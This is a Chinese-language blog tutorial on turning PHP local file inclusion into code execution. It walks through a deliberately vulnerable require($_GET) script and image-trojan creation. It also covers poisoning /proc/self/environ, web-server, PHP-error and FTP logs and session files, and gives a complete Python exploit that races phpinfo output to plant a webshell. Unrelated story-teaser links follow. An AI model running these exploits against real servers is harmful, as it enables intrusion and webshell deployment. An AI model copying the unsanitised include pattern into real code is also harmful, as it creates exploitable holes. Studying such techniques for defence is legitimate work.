利用本地包含漏洞执行任意代码

1 概述

件包含(Local File

Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文

件需要调用的时候就直接在文件头中写上一句就可以调用内部定义的函数。

本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。

2 利用LFI执行PHP代码

2.1本地包含漏洞实例展示:

演示脚本文件test.php代码如下:


if( !ini_get('display_errors') ) {

ini_set('display_errors', 'On');

}

error_reporting(E_ALL);

$f = $_GET["file"];

if ($f){

require "".$f."";

}else{

print("No File Included");

}

?>

在正常使用过程中,可能是这样子:http://www.xxx.com/test.php?f=fuction,这样子 就包含了function这个文件,但是由于file参数没有过滤,我们可以自己提交参数内容,这个时候就导致了包含漏洞的出现。比如提交 :

http://www.xxx.com/index.php?f=shell.txt%00,shell.txt的内容为我们的webshell,由于前面的是 index.php,所以会把shell.txt当成是木马执行。

在虚拟机搭建实例环境,

直接访问,不赋值file参数:

图1.不提交任何参数时的test.php

赋值file参数为/etc/passwd

图2.包含/etc/passwd文件

成功包含。

2.2自己上传文件并实现包含

这里主要是结合服务器一些文件上传点,比如头像上传、相册照片上传等,而后结合php的%00截断特性成功利用包含漏洞(php5.4之后已修复截断特性,本例中不再结合%00,其他请自己测试)。

假设我们可以自定义上传头像,头像文件在网站根目录的photo下,具体目录可以传上去之后查看图片Url信息。

首先,我们只做包含恶意代码的图片文件:

在windows下利用copy命令,shell.php为一句话木马(这里为了方便演示,我们用phpinfo();代替),photo.jpg问正常头像文件。在命令行下执行:copy photo.jpg /b + shell.php /b eval.jpg

图3.Windows下copy命令制作图片木马

此时eval.jpg和phpoto.jpg都可以正常打开

这种方法对于验证严格的上传点有用,其实很多时候我们可以简单的改一下后缀名,在php代码前加一个GIF89a就可绕过大多数检测。

将eval.jpg上传,并包含,效果如下图:

图4.包含图片木马效果

此时成功利用本地包含漏洞执行php代码。

2.3包含环境变量文件

Linux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。内容如下图:

图5.BT5下/proc/self/environ文件内容

但是用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用。

首先,验证访问权限,看是否有权限读取该文件内容

图6.包含/proc/self/environ文件

在BT的server下是默认拒绝访问的。权限如下:

图7.Environ文件的权限设置

为了方便演示,用一个有权限访问environ文件的环境。

正常包含如图:

图8.有权限读取envrion文件时效果

我们可以看到,当前的USER_AGENT变量被写进了这个文件,而USER_AGENT是可以伪造的,这里我利用firefox的UAControl进行伪造,首先编辑UAControl对于这个文章的user agent信息:

图9.修改User-agent信息

而后随便访问该网站上一个网页,再次包含environ文件:

图10.成功执行php代码

可以发现php代码已经执行。

2.4包含web server日志文件

Apache的日志文件在LFI漏洞的利用中是非常常见的。因为不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。

首先:查看是否有权限进行包含

图11.默认access文件拒绝访问

同样默认拒绝。

图12.日志文件默认权限

下面找一个有权限的实战环境进行测试

可以包含httpd.conf查看日志文件位置以及文件名格式配置,这里就直接找到一个log进行利用(php_error.log),该文件会记录php在执行中出现的错误,

图13.php_error文件内容

所以我们直接访问test.php?file=../.php,将会被记录下来。这样便成功将php代码写进log文件。

直接访问:

图14.get请求中插入php代码

返回空白,这是由于webserver未开启报错。

包含后如图:

图15.成功包含error日志文件

成功执行php代码

在实际利用中,需要注意一下几个问题:

1)    Access.log和error.log过大,这时候有可能会导致超时。所以如果能包含其他文件那就包含其他文件。

2)    写

入的代码被转义。比如我们提交test.php?file=../

phpinfo();?>.php时,在

进access.log文件里的还可能是将两个尖括号<>也转义了的。在实际测试中,用火狐、IE8都会转义,但是IE6不会转义。对于所有

以上情况,可以使用ie6进行利用,也可以使用NC进行直接提交GET请求。同时如果web

server的short_tag开启的话,就不用担心空格被转义。

2.5包含其他日志文件

文件包含漏洞的实质是包含我们可以控制文件内容的文件,所以其他日志文件如果我们可控的话也是可以进行包含利用的。这里以FTP的日志文件为例进行演示。

实际利用过程中要先得到目标系统的linux发行版本号、FTP server的版本号,而后找默认日志目录。

第一步同样是测试权限,看是否有权限读取文件:

图16.FTP日志文件内容

如图,是可以包含的。

下面本地登录,但是用户名填:

图17.在登陆窗口插入php代码

成功包含后效果如下图:

图18.成功包含FTP日志文件

可以发现已经成功执行了php代码

2.6结合phpinfo包含临时文件

php

有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜

解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生

成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并利用。

下面是一个python版的利用代码:

#!/usr/bin/env python

# encoding=utf-8

# Author : idwar

# http://secer.org

'''

可能需要你改的几个地方:

1、host

2、port

3、request中的phpinfo页面名字及路径

4、hello_lfi() 函数中的url,即存在lfi的页面和参数

5、如果不成功或报错,尝试增加padding长度到7000、8000试试

6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改

Good Luck :)

'''

import re

import urllib2

import hashlib

from socket import *

from time import sleep

host = '192.168.92.132'

#host = gethostbyname(domain)

port = 80

shell_name = hashlib.md5(host).hexdigest() + '.php'

pattern = re.compile(r'''

tmpname

\s=>\s(.*)\W*error]''')

payload

= '''idwar

was here")?>\r'''

req = '''-----------------------------7dbff1ded0714\r

Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r

Content-Type: text/plain\r

\r

%s

-----------------------------7dbff1ded0714--\r''' % payload

padding='A' * 8000

request='''POST /test/1.php?a='''+padding+''' HTTP/1.0\r

Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r

HTTP_ACCEPT: ''' + padding + '''\r

HTTP_USER_AGENT: ''' + padding + '''\r

HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r

HTTP_PRAGMA: ''' + padding + '''\r

Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r

Content-Length: %s\r

Host: %s\r

\r

%s''' % (len(req), host, req)

def hello_lfi():

while 1:

s = socket(AF_INET, SOCK_STREAM)

s.connect((host, port))

s.send(request)

data = ''

while r'' not in data:

data = s.recv(9999)

search_ = re.search(pattern, data)

if search_:

tmp_file_name = search_.group(1)

url = r'http://192.168.92.132/test/2.php?s=%s%%00' % tmp_file_name

print url

search_request = urllib2.Request(url)

search_response = urllib2.urlopen(search_request)

html_data = search_response.read()

if 'idwar' in html_data:

s.close()

return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)

#import sys;sys.exit()

s.close()

if __name__ == '__main__':

print hello_lfi()

print '\n Good Luck :)'

利用效果如下图:

图19. 利用工具中的php临时文件

图20. 服务器上确实生成了该文件

可以看到,成功获取到临时文件的文件名以及将恶意代码注入到服务器的tmp的临时目录下。

2.7包含session文件

Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,文件名字一般以sess_SESSIONID来保存。

首先,查看找到session文件并包含一次:文件名可以通过firefox的fire cookie插件查看当前session值。

实际应用过程中需要注意以下几点:

1)    网站可能没有生成临时session,以cookie方式保存用户信息,或者根本就完全没有。

2)    Session

文件内容的控制,这个时候我们就需要先通过包含查看当前session的内容,看session值中有没有我们可控的某个变量,比如url中的变量值。或

者当前用户名username。如果有的话,我们就可以通过修改可控变量值控制恶意代码写入session文件。如果没有的话,可以考虑让服务器报错,有

时候服务器会把报错信息写入用户的session文件的。我们控制使服务器报错的语句即可将恶意代码写入session。

3 小结

从开发者的角度来说,任何用户可以控制的变量都要进行严格的检查和过滤。只要有用户可输入的地方就有可能存在漏洞。而从攻击者的角度来说,在对LFI的利用中,始终需要注意的是服务器上只要是我们可以写入数据的都可以拿来包含。

4 参考文献:

[1] Gynvael Coldwind 《PHP_LFI_rfc1867_temporary_files》 2011.3

[2] SirGod On insecurity-ro《Shell via LFI –proc/self/environ method》

[3] http://www.2cto.com/Article/201202/119213.html《利用phpinfo信息LFI临时文件》

[4]http://www.php.net/manual/en/features.file-upload.post-method.php 《POST method uploads》

[5] LengF  80sec Group 《PHP安全之LFI漏洞GetShell方法大阅兵》 2011

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,560评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,104评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,297评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,869评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,275评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,563评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,833评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,543评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,245评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,512评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,011评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,359评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,006评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,062评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,825评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,590评论 2 273
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,501评论 2 268

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,099评论 18 139
  • 0x01 文件包含函数 include() include_once() require() require_on...
    Pino_HD阅读 2,354评论 0 3
  • 一、什么才是”远程文件包含漏洞”? 回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来...
    喜欢吃栗子阅读 2,578评论 1 4
  • 我开始忘记自己 不知道延续谁的运命 秋天的幽冷 在不经意间侵袭全身 字句的力量又怎能敌得过无摧的法则 树叶会落去 ...
    走马_寻阅读 292评论 2 5
  • 当我无牵无挂的时候,贫穷对我来说只是晚上吃馒头和吃牛排的区别,无损我的快乐,可当我爱上一个姑娘的时候,我才深深的感...
    iOS_渔翁阅读 164评论 0 0